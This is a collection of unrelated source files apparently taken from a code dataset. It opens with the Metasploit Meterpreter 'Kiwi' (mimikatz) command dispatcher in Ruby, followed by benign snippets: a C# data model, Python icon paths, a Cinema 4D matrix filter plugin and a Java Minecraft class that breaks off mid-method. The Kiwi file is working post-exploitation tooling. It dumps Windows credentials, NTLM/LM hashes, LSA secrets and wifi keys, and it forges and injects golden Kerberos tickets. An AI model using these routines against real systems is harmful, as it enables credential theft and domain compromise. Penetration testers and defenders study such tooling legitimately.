text:
# -*- coding: binary -*-
require 'rex/post/meterpreter'

module Rex
module Post
module Meterpreter
module Ui

###
#
# Kiwi extension - grabs credentials from windows memory.
#
# Benjamin DELPY `gentilkiwi`
# http://blog.gentilkiwi.com/mimikatz
#
# extension converted by OJ Reeves (TheColonial)
#
###
class Console::CommandDispatcher::Kiwi

  Klass = Console::CommandDispatcher::Kiwi

  include Console::CommandDispatcher

  #
  # Name for this dispatcher
  #
  def name
    "Kiwi"
  end

  #
  # Initializes an instance of the priv command interaction. This function
  # also outputs a banner which gives proper acknowledgement to the original
  # author of the Mimikatz 2.0 software.
  #
  def initialize(shell)
    super
    print_line
    print_line
    print_line("  .#####.   mimikatz 2.0 alpha (#{client.platform}) release \"Kiwi en C\"")
    print_line(" .## ^ ##.")
    print_line(" ## / \\ ##  /* * *")
    print_line(" ## \\ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )")
    print_line(" '## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)")
    print_line("  '#####'    Ported to Metasploit by OJ Reeves `TheColonial` * * */")
    print_line

    if (client.platform =~ /x86/) and (client.sys.config.sysinfo['Architecture'] =~ /x64/)

      print_line
      print_warning "Loaded x86 Kiwi on an x64 architecture."
    end
  end

  #
  # List of supported commands.
  #
  def commands
    {
      "creds_wdigest"         => "Retrieve WDigest creds",
      "creds_msv"             => "Retrieve LM/NTLM creds (hashes)",
      "creds_livessp"         => "Retrieve LiveSSP creds",
      "creds_ssp"             => "Retrieve SSP creds",
      "creds_tspkg"           => "Retrieve TsPkg creds",
      "creds_kerberos"        => "Retrieve Kerberos creds",
      "creds_all"             => "Retrieve all credentials",
      "golden_ticket_create"  => "Create a golden kerberos ticket",
      "kerberos_ticket_use"   => "Use a kerberos ticket",
      "kerberos_ticket_purge" => "Purge any in-use kerberos tickets",
      "kerberos_ticket_list"  => "List all kerberos tickets",
      "lsa_dump"              => "Dump LSA secrets",
      "wifi_list"             => "List wifi profiles/creds"
    }
  end

  #
  # Invoke the LSA secret dump on thet target.
  #
  def cmd_lsa_dump(*args)
    check_privs

    print_status("Dumping LSA secrets")
    lsa = client.kiwi.lsa_dump

    # the format of this data doesn't really lend itself nicely to
    # use within a table so instead we'll dump in a linear fashion

    print_line("Policy Subsystem : #{lsa[:major]}.#{lsa[:minor]}") if lsa[:major]
    print_line("Domain/Computer  : #{lsa[:compname]}") if lsa[:compname]
    print_line("System Key       : #{to_hex(lsa[:syskey])}")
    print_line("NT5 Key          : #{to_hex(lsa[:nt5key])}")
    print_line
    print_line("NT6 Key Count    : #{lsa[:nt6keys].length}")

    if lsa[:nt6keys].length > 0
      lsa[:nt6keys].to_enum.with_index(1) do |k, i|
        print_line
        index = i.to_s.rjust(2, ' ')
        print_line("#{index}. ID           : #{Rex::Text::to_guid(k[:id])}")
        print_line("#{index}. Value        : #{to_hex(k[:value])}")
      end
    end

    print_line
    print_line("Secret Count     : #{lsa[:secrets].length}")
    if lsa[:secrets].length > 0
      lsa[:secrets].to_enum.with_index(1) do |s, i|
        print_line
        index = i.to_s.rjust(2, ' ')
        print_line("#{index}. Name         : #{s[:name]}")
        print_line("#{index}. Service      : #{s[:service]}") if s[:service]
        print_line("#{index}. NTLM         : #{to_hex(s[:ntlm])}") if s[:ntlm]
        if s[:current] || s[:current_raw]
          current = s[:current] || to_hex(s[:current_raw], ' ')
          print_line("#{index}. Current      : #{current}")
        end
        if s[:old] || s[:old_raw]
          old = s[:old] || to_hex(s[:old_raw], ' ')
          print_line("#{index}. Old          : #{old}")
        end
      end
    end

    print_line
    print_line("SAM Key Count    : #{lsa[:samkeys].length}")
    if lsa[:samkeys].length > 0
      lsa[:samkeys].to_enum.with_index(1) do |s, i|
        print_line
        index = i.to_s.rjust(2, ' ')
        print_line("#{index}. RID          : #{s[:rid]}")
        print_line("#{index}. User         : #{s[:user]}")
        print_line("#{index}. LM Hash      : #{to_hex(s[:lm_hash])}")
        print_line("#{index}. NTLM Hash    : #{to_hex(s[:ntlm_hash])}")
      end
    end

    print_line
  end

  #
  # Valid options for the golden ticket creation functionality.
  #
  @@golden_ticket_create_opts = Rex::Parser::Arguments.new(
    "-h" => [ false, "Help banner" ],
    "-u" => [ true,  "Name of the user to create the ticket for" ],
    "-i" => [ true,  "ID of the user to associate the ticket with" ],
    "-g" => [ true,  "Comma-separated list of group identifiers to include (eg: 501,502)" ],
    "-d" => [ true,  "Name of the target domain (FQDN)" ],
    "-k" => [ true,  "krbtgt domain user NTLM hash" ],
    "-t" => [ true,  "Local path of the file to store the ticket in" ],
    "-s" => [ true,  "SID of the domain" ]
  )

  #
  # Output the usage for the ticket listing functionality.
  #
  def golden_ticket_create_usage
    print(
      "\nUsage: golden_ticket_create [-h] -u <user> -d <domain> -k <krbtgt_ntlm> -s <sid> -t <path> [-i <id>] [-g <groups>]\n\n" +
      "Create a golden kerberos ticket that expires in 10 years time.\n\n" +
      @@golden_ticket_create_opts.usage)
  end

  #
  # Invoke the golden kerberos ticket creation functionality on the target.
  #
  def cmd_golden_ticket_create(*args)
    if args.include?("-h")
      golden_ticket_create_usage
      return
    end

    user = nil
    domain = nil
    sid = nil
    tgt = nil
    target = nil
    id = 0
    group_ids = []

    @@golden_ticket_create_opts.parse(args) { |opt, idx, val|
      case opt
      when "-u"
        user = val
      when "-d"
        domain = val
      when "-k"
        tgt = val
      when "-t"
        target = val
      when "-i"
        id = val.to_i
      when "-g"
        group_ids = val.split(',').map { |g| g.to_i }.to_a
      when "-s"
        sid = val
      end
    }

    # all parameters are required
    unless user && domain && sid && tgt && target
      golden_ticket_create_usage
      return
    end

    ticket = client.kiwi.golden_ticket_create(user, domain, sid, tgt, id, group_ids)

    ::File.open( target, 'wb' ) do |f|
      f.write ticket
    end

    print_good("Golden Kerberos ticket written to #{target}")
  end

  #
  # Valid options for the ticket listing functionality.
  #
  @@kerberos_ticket_list_opts = Rex::Parser::Arguments.new(
    "-h" => [ false, "Help banner" ],
    "-e" => [ false, "Export Kerberos tickets to disk" ],
    "-p" => [ true,  "Path to export Kerberos tickets to" ]
  )

  #
  # Output the usage for the ticket listing functionality.
  #
  def kerberos_ticket_list_usage
    print(
      "\nUsage: kerberos_ticket_list [-h] [-e <true|false>] [-p <path>]\n\n" +
      "List all the available Kerberos tickets.\n\n" +
      @@kerberos_ticket_list_opts.usage)
  end

  #
  # Invoke the kerberos ticket listing functionality on the target machine.
  #
  def cmd_kerberos_ticket_list(*args)
    if args.include?("-h")
      kerberos_ticket_list_usage
      return
    end

    # default to not exporting
    export = false
    # default to the current folder for dumping tickets
    export_path = "."

    @@kerberos_ticket_list_opts.parse(args) { |opt, idx, val|
      case opt
      when "-e"
        export = true
      when "-p"
        export_path = val
      end
    }

    tickets = client.kiwi.kerberos_ticket_list(export)

    fields = ['Server', 'Client', 'Start', 'End', 'Max Renew', 'Flags']
    fields << 'Export Path' if export

    table = Rex::Ui::Text::Table.new(
      'Header'    => "Kerberos Tickets",
      'Indent'    => 0,
      'SortIndex' => 0,
      'Columns'   => fields
    )

    tickets.each do |t|
      flag_list = client.kiwi.to_kerberos_flag_list(t[:flags]).join(", ")
      values = [
        "#{t[:server]} @ #{t[:server_realm]}",
        "#{t[:client]} @ #{t[:client_realm]}",
        t[:start],
        t[:end],
        t[:max_renew],
        "#{t[:flags].to_s(16).rjust(8, '0')} (#{flag_list})"
      ]

      # write out each ticket to disk if export is enabled.
      if export
        path = "<no data retrieved>"
        if t[:raw]
          id = "#{values[0]}-#{values[1]}".gsub(/[\\\/\$ ]/, '-')
          file = "kerb-#{id}-#{Rex::Text.rand_text_alpha(8)}.tkt"
          path = ::File.expand_path(File.join(export_path, file))
          ::File.open(path, 'wb') do |x|
            x.write t[:raw]
          end
        end
        values << path
      end

      table << values
    end

    print_line
    print_line(table.to_s)
    print_line("Total Tickets : #{tickets.length}")
  end

  #
  # Invoke the kerberos ticket purging functionality on the target machine.
  #
  def cmd_kerberos_ticket_purge(*args)
    client.kiwi.kerberos_ticket_purge
    print_good("Kerberos tickets purged")
  end

  #
  # Use a locally stored Kerberos ticket in the current session.
  #
  def cmd_kerberos_ticket_use(*args)
    if args.length != 1
      print_line("Usage: kerberos_ticket_use ticketpath")
      return
    end

    target = args[0]
    ticket  = ''
    ::File.open(target, 'rb') do |f|
      ticket += f.read(f.stat.size)
    end

    print_status("Using Kerberos ticket stored in #{target}, #{ticket.length} bytes")
    client.kiwi.kerberos_ticket_use(ticket)
    print_good("Kerberos ticket applied successfully")
  end

  def wifi_list_usage
    print(
      "\nUsage: wifi_list\n\n" +
      "List WiFi interfaces, profiles and passwords.\n\n")
  end

  #
  # Dump all the wifi profiles/credentials
  #
  def cmd_wifi_list(*args)
    # if any arguments are specified, then fire up a usage message
    if args.length > 0
      wifi_list_usage
      return
    end

    results = client.kiwi.wifi_list

    if results.length > 0
      results.each do |r|
        table = Rex::Ui::Text::Table.new(
          'Header'    => "#{r[:desc]} - #{r[:guid]}",
          'Indent'    => 0,
          'SortIndex' => 0,
          'Columns'   => [
            'Name', 'Auth', 'Type', 'Shared Key'
          ]
        )

        print_line
        r[:profiles].each do |p|
          table << [p[:name], p[:auth], p[:key_type], p[:shared_key]]
        end

        print_line table.to_s
        print_line "State: #{r[:state]}"
      end
    else
      print_line
      print_error("No wireless profiles found on the target.")
    end

    print_line
    return true
  end

  #
  # Dump all the possible credentials to screen.
  #
  def cmd_creds_all(*args)
    method = Proc.new { client.kiwi.all_pass }
    scrape_passwords("all", method)
  end

  #
  # Dump all wdigest credentials to screen.
  #
  def cmd_creds_wdigest(*args)
    method = Proc.new { client.kiwi.wdigest }
    scrape_passwords("wdigest", method)
  end

  #
  # Dump all msv credentials to screen.
  #
  def cmd_creds_msv(*args)
    method = Proc.new { client.kiwi.msv }
    scrape_passwords("msv", method)
  end

  #
  # Dump all LiveSSP credentials to screen.
  #
  def cmd_creds_livessp(*args)
    method = Proc.new { client.kiwi.livessp }
    scrape_passwords("livessp", method)
  end

  #
  # Dump all SSP credentials to screen.
  #
  def cmd_creds_ssp(*args)
    method = Proc.new { client.kiwi.ssp }
    scrape_passwords("ssp", method)
  end

  #
  # Dump all TSPKG credentials to screen.
  #
  def cmd_creds_tspkg(*args)
    method = Proc.new { client.kiwi.tspkg }
    scrape_passwords("tspkg", method)
  end

  #
  # Dump all Kerberos credentials to screen.
  #
  def cmd_creds_kerberos(*args)
    method = Proc.new { client.kiwi.kerberos }
    scrape_passwords("kerberos", method)
  end

protected

  def check_privs
    if system_check
      print_good("Running as SYSTEM")
    else
      print_warning("Not running as SYSTEM, execution may fail")
    end
  end

  def system_check
    unless (client.sys.config.getuid == "NT AUTHORITY\\SYSTEM")
      print_warning("Not currently running as SYSTEM")
      return false
    end

    return true
  end

  #
  # Invoke the password scraping routine on the target.
  #
  # @param provider [String] The name of the type of credentials to dump
  #   (used for display purposes only).
  # @param method [Proc] Block that calls the method that invokes the
  #   appropriate function on the client that returns the results from
  #   Meterpreter that lay in the house that Jack built.
  #
  # @return [void]
  def scrape_passwords(provider, method)
    check_privs
    print_status("Retrieving #{provider} credentials")
    accounts = method.call

    table = Rex::Ui::Text::Table.new(
      'Header'    => "#{provider} credentials",
      'Indent'    => 0,
      'SortIndex' => 0,
      'Columns'   =>
      [
        'Domain', 'User', 'Password', 'Auth Id', 'LM Hash', 'NTLM Hash'
      ]
    )

    accounts.each do |acc|
      table << [
        acc[:domain] || "",
        acc[:username] || "",
        acc[:password] || "",
        "#{acc[:auth_hi]} ; #{acc[:auth_lo]}",
        to_hex(acc[:lm] || ""),
        to_hex(acc[:ntlm] || "")
      ]
    end

    print_line table.to_s
    return true
  end

  #
  # Helper function to convert a potentially blank value to hex and have
  # the outer spaces stripped
  #
  # @param (see Rex::Text.to_hex)
  # @return [String] The result of {Rex::Text.to_hex}, strip'd
  def to_hex(value, sep = '')
    value ||= ""
    Rex::Text.to_hex(value, sep).strip
  end

end

end
end
end
end

redpajama_set_name: RedPajamaGithub


text:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;

namespace UserManager.Massive
{
    public class aspnet_Membership: DynamicModel
    {
        public aspnet_Membership()
            : base("ConnectionString", "aspnet_Membership")
        {
            PrimaryKeyField = "ApplicationId";
        }
    }
}


text:
def icon_path(filename):
    return 'src/icons/{}'.format(filename)

CERT = icon_path('cert.png')
CHECK = icon_path('check.png')
ERROR = icon_path('error.png')
GO_BACK = icon_path('go_back.png')
HELP = icon_path('help.png')
HOST = icon_path('host.png')
INFO = icon_path('info.png')
ISSUES = icon_path('issues.png')
OK = icon_path('ok.png')
PASSWORD = icon_path('password.png')
PROJECTS = icon_path('projects.png')
REPOSITORIES = icon_path('repos.png')
SETTINGS = icon_path('settings.png')
PULL_REQUESTS = icon_path('pull_requests.png')
REVIEW = icon_path('review.png')
CREATED = icon_path('created.png')
OPEN = icon_path('open.png')
SYNC = icon_path('sync.png')
UPDATE = icon_path('update.png')
USER = icon_path('user.png')
WARNING = icon_path('warning.png')
WHATS_NEW = icon_path('whatsnew.png')
CREDITS = icon_path('credits.png')


text:
static FILTER_PARAM	filter_new_settings(FI_REF fi, const BaseContainer* t_bc);
static Int32 filter_delete_settings(FI_REF fi, FILTER_PARAM settings);
static FLAT_FILTER_SETTINGS* filter_flatten_settings(FI_REF fi, FILTER_PARAM settings, void*(*flat_malloc)(Int32 size));
static FILTER_PARAM	filter_unflatten_settings(FI_REF fi, FLAT_FILTER_SETTINGS* flat_settings);

// filter actions
static Int32 filter_start(FI_REF fi, BM_REF bm, FILTER_PARAM settings);
static Int32 filter_end(FI_REF fi, BM_REF bm, FILTER_PARAM settings);
static Int32 filter_run(FI_REF fi, BM_REF bm, FILTER_PARAM settings, Bool use_gui);

static BITMAP_FILTER g_smplMatrixFilter =
{
	BITMAPFILTER_MAGIC_V3,

	// filter settings
	filter_new_settings,
	filter_delete_settings,
	filter_flatten_settings,
	filter_unflatten_settings,

	// filter actions
	filter_start,
	filter_end,
	filter_run,

	BMFI_SUPPORT_8BIT | BMFI_SUPPORT_16BIT | BMFI_SUPPORT_32BIT

};

//----------------------------------------------------------------------------------------
// private functions
//----------------------------------------------------------------------------------------
#define	MIN_ANGLE	 0.0
#define	MAX_ANGLE	 360.0
#define	STEP_ANGLE 0.1
#define	DFLT_ANGLE 0.0

#define	PRIVATE_SETTINGS			 MATRIX_SAMPLE_SETTINGS
#define	PRIVATE_SETTINGS_MAGIC CHAR_CONST32('smtr')
struct PRIVATE_SETTINGS : public BM_FILTER_SETTINGS
{
	UInt32		 magic;
	Float32		 matrix_opacity;	// opacity level of the matrix (0.0 ... 1.0)
	Float32		 angle;
	Bool			 scale_matrix;
	Int32			 tile_flags;

	Int32			 type;
	MATRIX_REF emr;				// reference to the effect matrix settings
	Semaphore* emr_lock;	// is used to enable safe creation of the effect matrix
};

static Bool	change_effect_matrix(PRIVATE_SETTINGS* settings, BM_REF bm);
static Int32 apply_effect(BM_REF bm, const RECT32* src_rect, BM_TILE* dt, BM_FILTER_SETTINGS* settings, Bool update_view, BaseThread* thread);

static WEIGHT_FMATRIX_5x5	g_Astrange_triangle_matrix_5x5 =
{
	5,
	5,
	2,
	2,
	{
		{	-1.0,	2.0, -1.0, 2.0,	-1.0 },
		{	0.0, -1.0, 3.0,	-1.0,	0.0	},
		{	0.0, 0.0,	-1.0,	0.0, 0.0 },
		{	0.0, 0.0,	0.0, 0.0,	0.0	},
		{	0.0, 0.0,	0.0, 0.0,	0.0	}
	}
};

static WEIGHT_FMATRIX_5x5	g_Bstrange_triangle_matrix_5x5 =
{
	5,
	5,
	2,
	2,
	{
		{	1.0, 1.0,	1.0, 1.0,	1.0	},
		{	0.0, 1.0,	1.0, 1.0,	0.0	},
		{	0.0, 0.0,	1.0, 0.0,	0.0	},
		{	0.0, 0.0,	0.0, 0.0,	0.0	},
		{	0.0, 0.0,	0.0, 0.0,	0.0	}
	}
};

static WEIGHT_FMATRIX* g_matrixTab[] =
{
	(WEIGHT_FMATRIX*) &g_Astrange_triangle_matrix_5x5,
	(WEIGHT_FMATRIX*) &g_Bstrange_triangle_matrix_5x5,

	0
};

//----------------------------------------------------------------------------------------
// filter dialog class (ModalDialog)
//----------------------------------------------------------------------------------------
class SmplMatrixDialog : public GeModalDialog
{
	PRIVATE_SETTINGS* settings;
	PreviewGroup			preview;
	BM_REF						bm;
	Bool							real_time;	// true: apply effect in preview while dragging
	Bool							document_preview;

public:
	SmplMatrixDialog();
	~SmplMatrixDialog();

	virtual Bool Command(Int32 id, const BaseContainer& msg);
	virtual Bool CreateLayout();
	virtual Bool InitValues();

	Bool Init(BM_REF bm, PRIVATE_SETTINGS* settings);
};

//----------------------------------------------------------------------------------------
// Register filter
// Function result:		true/false
//----------------------------------------------------------------------------------------
Bool RegisterSampleMatrix()
{
	String name = GeLoadString(IDS_MATRIX);
	if (!name.Content())
		return true;

	// be sure to use a unique ID obtained from www.plugincafe.com
	return GeRegisterPlugin(PLUGINTYPE_BITMAPFILTER, 1000690, name, &g_smplMatrixFilter, sizeof(g_smplMatrixFilter));
}

//----------------------------------------------------------------------------------------
// Create default filter settings
// Function result:		filter settings oder 0 (not enough memory)
//----------------------------------------------------------------------------------------
static FILTER_PARAM	filter_new_settings(FI_REF fi, const BaseContainer* t_bc)
{
	PRIVATE_SETTINGS* settings;

	settings = NewMemClear(PRIVATE_SETTINGS, 1);
	if (settings)
	{
		settings->magic = PRIVATE_SETTINGS_MAGIC;
		settings->matrix_opacity = 1.0;
		settings->angle = DFLT_ANGLE;
		settings->scale_matrix = true;
		settings->type = 0;
		settings->tile_flags = TILE_REPEAT_BORDER;

		settings->emr = 0;												// no effect matrix so far
		settings->emr_lock = Semaphore::Alloc();	// create a semaphore for the matrix object

		if (settings->emr_lock == 0)							// failed to allocate the semaphore?
		{
			DeleteMem(settings);
			settings = 0;
		}
	}

	return (FILTER_PARAM)settings;
}

//----------------------------------------------------------------------------------------
// Dispose filter settings
// Function result:		FILTER_OK or an error code
// settings:					private filter settings
//----------------------------------------------------------------------------------------
static Int32 filter_delete_settings(FI_REF fi, FILTER_PARAM _settings)
{
	PRIVATE_SETTINGS* settings;

	settings = (PRIVATE_SETTINGS*) _settings;
	if (settings)
	{
		if (settings->emr)
			delete_effect_matrix(settings->emr);	// free the matrix object

		Semaphore::Free(settings->emr_lock);		// free the semaphore

		DeleteMem(settings);
		settings = 0;
	}
	return FILTER_OK;
}

//----------------------------------------------------------------------------------------
// Convert private settings in format that can be saved (no pointers, ...)
// Function result:		pointer to the "flat" filter settings or 0
// settings:					private filter settings
// flat_malloc:				must be used to allocate the memory for flat_settings
//----------------------------------------------------------------------------------------
static FLAT_FILTER_SETTINGS* filter_flatten_settings(FI_REF fi, FILTER_PARAM settings, void*(*flat_malloc)(Int32 size))
{
	FLAT_FILTER_SETTINGS* flat_settings;
	Int32	len;

	len = sizeof_FLAT_FILTER_SETTINGS + sizeof(PRIVATE_SETTINGS);
	flat_settings = (FLAT_FILTER_SETTINGS*) flat_malloc(len);

	if (flat_settings)
	{
		PRIVATE_SETTINGS* tmp;

		flat_settings->magic	= FLAT_SETTINGS_MAGIC;
		flat_settings->length = len;
		flat_settings->format = 0;
		flat_settings->reserved = 0;

		tmp = (PRIVATE_SETTINGS*) flat_settings->data;
		CopyMem(settings, tmp, sizeof(PRIVATE_SETTINGS));
		tmp->emr = 0;
		tmp->emr_lock = 0;
	}
	return flat_settings;
}

//----------------------------------------------------------------------------------------
// Validate flat settings and convert into private format
// Function result:		pointer to the private filter settings or 0
// flat_settings:			saved settings
//----------------------------------------------------------------------------------------
static FILTER_PARAM	filter_unflatten_settings(FI_REF fi, FLAT_FILTER_SETTINGS* flat_settings)
{
	PRIVATE_SETTINGS* settings;

	settings = 0;

	if (flat_settings->magic == FLAT_SETTINGS_MAGIC)
	{
		PRIVATE_SETTINGS* p;

		p = (PRIVATE_SETTINGS*) flat_settings->data;
		if (p->magic == PRIVATE_SETTINGS_MAGIC)
		{
			settings = (PRIVATE_SETTINGS*) filter_new_settings(fi, 0);
			if (settings)
			{
				if ((p->matrix_opacity >= 0.0) && (p->matrix_opacity <= 1.0))
					settings->matrix_opacity = p->matrix_opacity;

				if ((p->angle >= MIN_ANGLE) && (p->angle <= MAX_ANGLE))
					settings->angle = p->angle;
			}
		}
	}

	return settings;
}

//----------------------------------------------------------------------------------------
// Start of a filter action
// Function result:		FILTER_OK or an error code (e.g. FILTER_MEM_ERR)
// bm:								bitmap reference
// settings:					private filter settings
//----------------------------------------------------------------------------------------
static Int32 filter_start(FI_REF fi, BM_REF bm, FILTER_PARAM _settings)
{
	PRIVATE_SETTINGS* settings;

	settings = (PRIVATE_SETTINGS*) _settings;
	if (settings && (settings->magic == PRIVATE_SETTINGS_MAGIC))
	{
		return FILTER_OK;
	}
	return FILTER_PARAM_ERR;	// invalid settings
}

//----------------------------------------------------------------------------------------
// End of a filter action
// Function result:		FILTER_OK or an error code
// bm:								bitmap reference
// settings:					private filter settings
//----------------------------------------------------------------------------------------
static Int32 filter_end(FI_REF fi, BM_REF bm, FILTER_PARAM _settings)
{
	PRIVATE_SETTINGS* settings;

	settings = (PRIVATE_SETTINGS*) _settings;

	if (settings && (settings->magic == PRIVATE_SETTINGS_MAGIC))
	{
		return FILTER_OK;
	}
	return FILTER_PARAM_ERR;
}

//----------------------------------------------------------------------------------------
// Run the filter action
// Function result:		FILTER_OK, FILTER_CANCEL, FILTER_ABORT or an error code
// bm:								bitmap reference
// settings:					private filter settings
// use_gui:						true: show dialog false: use current settings (silent mode)
//----------------------------------------------------------------------------------------
static Int32 filter_run(FI_REF fi, BM_REF bm, FILTER_PARAM _settings, Bool use_gui)
{
	PRIVATE_SETTINGS* settings;

	settings = (PRIVATE_SETTINGS*) _settings;
	if (use_gui)
	{
		SmplMatrixDialog dlg;

		if (dlg.Init(bm, settings))
		{
			if (dlg.Open())	// do the dialog handling
				return FILTER_OK;
		}

		return FILTER_CANCEL;
	}
	else
	{
		return apply_effect(bm, 0, 0, settings, false, 0);
	}
}

static Bool	change_effect_matrix(PRIVATE_SETTINGS* settings, BM_REF bm)
{
	Float64	r;

	if (settings->emr)
		delete_effect_matrix(settings->emr);

	r	 = settings->angle;
	r /= 180.0;
	r *= PI;

	settings->emr = new_effect_matrix(g_matrixTab[settings->type], bm->image_color_space, bm->image_px_format, settings->matrix_opacity, settings->scale_matrix, r);
	if (settings->emr)
		return true;
	else
		return false;
}
//----------------------------------------------------------------------------------------
// Apply the effect to the whole bitmap and update the document view (if indicated)
// Function result:		FILTER_OK or error code
// bm:								bitmap reference
// src_rect:					requested source rectangle
// dt:								pointer of the preview destination tile or 0 (apply effect to the mask_rect area)
// settings:					private filter settings
// update_view:				true: call BfUpdateView() for processed tiles
// thread:						pointer to thread class (0: no thread)
//----------------------------------------------------------------------------------------
static Int32 apply_effect(BM_REF bm, const RECT32* src_rect, BM_TILE* dt, BM_FILTER_SETTINGS* t_settings, Bool update_view, BaseThread* thread)
{
	PRIVATE_SETTINGS* settings = (PRIVATE_SETTINGS*)t_settings;
	Int32	err;

	err = FILTER_OK;

	if (src_rect == 0)
		src_rect = &bm->mask_rect;

	if (settings->emr_lock->Lock(thread))	// lock the semaphore for the effect matrix
	{
		if (settings->emr == 0)							// effect matrix not initialized?
		{
			if (change_effect_matrix(settings, bm) == false)
				err = FILTER_MEM_ERR;
		}
		else
		{
			update_effect_matrix(settings->emr, bm->image_color_space, bm->image_px_format);	// update settings in case bitmap has changed

		}
		settings->emr_lock->Unlock();
	}
	else	// stop thread
	{
		err = FILTER_ABORT;
	}

	if (err == FILTER_OK)
	{
		if (dt)
		{
			BM_TILE	 tmp;
			BM_TILE* scratch;
			Bool		 scale;
			Int32		 width;
			Int32		 height;

			width	 = dt->xmax - dt->xmin;
			height = dt->ymax - dt->ymin;

			if ((width != src_rect->x2 - src_rect->x1) && (height != src_rect->y2 - src_rect->y1))
			{
				scale = true;	// in this case we have to post-scale the result of the matrix
				scratch = BfBitmapTileGet(bm, src_rect, 0, 0, TILE_BM_SCRATCH, 0);
				if (scratch == 0)
					return FILTER_MEM_ERR;
			}
			else
			{
				scale = false;
				tmp = *dt;
				tmp.xmin = src_rect->x1;	// make sure the effect gets the same source and tile rect
				tmp.ymin = src_rect->y1;
				tmp.xmax = src_rect->x2;
				tmp.ymax = src_rect->y2;
				scratch	 = &tmp;
			}

			err = do_matrix_effect_1dt(bm, scratch, settings->emr, settings->tile_flags);
			if (scale)
			{
				if (err == FILTER_OK)
				{
					if (BfBitmapTileScale(bm, scratch, dt, (RECT32*) &scratch->xmin, (RECT32*) &dt->xmin) == false)
						err = FILTER_MEM_ERR;
				}
				BfBitmapTileDetach(bm, scratch, false);
			}
		}
		else
		{
			String apply_filter_str;

			apply_filter_str = GeLoadString(IDS_APPLY_FILTER);
			err = do_matrix_effect(bm, settings->emr, thread, settings->tile_flags, update_view, &apply_filter_str);
		}
	}
	return err;
}

SmplMatrixDialog::SmplMatrixDialog()
{
	bm = nullptr;
	real_time = BfpGetRealTimeFlag();
	document_preview = BfpGetDocumentPreviewFlag();
}

SmplMatrixDialog::~SmplMatrixDialog()
{
	if (GetResult())									// exit dialog with "OK"?
	{
		preview.FinishDocumentUpdate();	// wait until the effect has been applied
		BfpSetDocumentPreviewFlag(document_preview);
		BfpSetTextureModeFlag(settings->tile_flags == TILE_REPEAT_TILING);
	}
}

Bool SmplMatrixDialog::Init(BM_REF _bm, PRIVATE_SETTINGS* _settings)
{
	if (_bm)
	{
		bm = _bm;
		settings = _settings;
		settings->tile_flags = BfpGetTextureModeFlag() ? TILE_REPEAT_TILING : TILE_REPEAT_BORDER;
		return true;
	}
	return false;
}

Bool SmplMatrixDialog::CreateLayout()
{
	LoadDialogResource(DLG_SMPL_MATRIX, nullptr, 0);
	preview.Create(this, GADGET_SMPL_MATRIX_PREVIEWGROUP);
	preview.SetSource(bm);
	preview.SetDestination(bm, apply_effect, settings, true, document_preview);

	return true;
}

Bool SmplMatrixDialog::InitValues()
{
	SetInt32(GADGET_SMPL_MATRIX_DOCUMENT_PREVIEW, document_preview);
	SetInt32(GADGET_SMPL_MATRIX_TEXTURE_MODE, settings->tile_flags == TILE_REPEAT_BORDER ? 0 : 1);

	SetPercent(GADGET_SMPL_MATRIX_SLIDER_MIX, settings->matrix_opacity, 0.0, 100.0, 0.1);
	SetFloat(GADGET_SMPL_MATRIX_SLIDER_ANGLE, DegToRad(settings->angle), DegToRad(MIN_ANGLE), DegToRad(MAX_ANGLE), DegToRad(STEP_ANGLE), FORMAT_DEGREE);
	SetInt32(GADGET_SMPL_MATRIX_TYPE_POPUP, settings->type);

	return true;
}

Bool SmplMatrixDialog::Command(Int32 id, const BaseContainer& msg)
{
	Bool update_settings = false;

	if (preview.Command(id, msg))
		return true;

	switch (id)
	{
		case	GADGET_SMPL_MATRIX_TYPE_POPUP:
		{
			Int32	type;

			preview.ChangedSettings();	// stop running threads before settings are changed
			type = msg.GetInt32(BFM_ACTION_VALUE);
			if (settings->emr)
			{
				delete_effect_matrix(settings->emr);
				settings->emr = 0;
			}

			settings->type	= type;
			update_settings = true;	// indicates changed effect settings

			break;
		}
		case	GADGET_SMPL_MATRIX_SLIDER_ANGLE:
		{
			Float32	slider_value;

			slider_value = (Float32)RadToDeg(msg.GetFloat(BFM_ACTION_VALUE));
			if (real_time || (msg.GetInt32(BFM_ACTION_INDRAG) == false))
			{
				if (settings->angle != slider_value)
				{
					preview.ChangedSettings();	// stop running threads before settings are changed
					settings->angle = slider_value;
					update_settings = true;			// indicates changed effect settings
				}
			}
			break;
		}
		case	GADGET_SMPL_MATRIX_SLIDER_MIX:
		{
			Float32	slider_value;

			slider_value = (Float32)msg.GetFloat(BFM_ACTION_VALUE);
			if (real_time || msg.GetInt32(BFM_ACTION_INDRAG) == false)
			{
				if (settings->matrix_opacity != slider_value)
				{
					preview.ChangedSettings();	// stop running threads before settings are changed
					settings->matrix_opacity = slider_value;
					update_settings = true;			// indicates changed effect settings
				}
			}
			break;
		}
		case	GADGET_SMPL_MATRIX_TEXTURE_MODE:
		{
			preview.ChangedSettings();	// stop running threads before settings are changed
			settings->tile_flags = msg.GetInt32(BFM_ACTION_VALUE) ? TILE_REPEAT_TILING : TILE_REPEAT_BORDER;
			update_settings = true;
			break;
		}
		case	GADGET_SMPL_MATRIX_DOCUMENT_PREVIEW:
		{
			document_preview = msg.GetInt32(BFM_ACTION_VALUE);
			preview.SetDocumentPreview(document_preview);
			break;
		}
	}

	if (update_settings)
	{
		change_effect_matrix(settings, bm);
		preview.Update();
	}

	return true;
}


text:
namespace Alamut.Data.Structure
{
    public interface IHasParent
    {
        string Id { get; set; }
        string ParentId { get; set; }
    }
}


text:
package uk.joshiejack.settlements.client;

import it.unimi.dsi.fastutil.ints.Int2ObjectMap;
import it.unimi.dsi.fastutil.ints.Int2ObjectOpenHashMap;
import net.minecraft.world.World;
import net.minecraftforge.fml.relauncher.Side;
import net.minecraftforge.fml.relauncher.SideOnly;
import uk.joshiejack.settlements.client.town.TownClient;
import uk.joshiejack.settlements.world.town.Town;

import java.util.Collection;

@SideOnly(Side.CLIENT)
public class WorldMap {
    private static final Int2ObjectMap<Int2ObjectMap<TownClient>> towns = new Int2ObjectOpenHashMap<>();

    public static void setTowns(int dim, Collection<Town> towns) {
        towns.forEach(t -> WorldMap.getTownMap(dim).put(t.getID(), (TownClient) t));
    }

    private static Int2ObjectMap<TownClient> getTownMap(int dim) {
        Int2ObjectMap<TownClient> map = towns.get(dim);
        if (map == null) {
            map = new Int2ObjectOpenHashMap<>();
            towns.put(dim, map);
        }

        return map;
    }

    public static Collection<TownClient> getTowns(World world) {
        return getTownMap(world.provider.getDimension()).values();
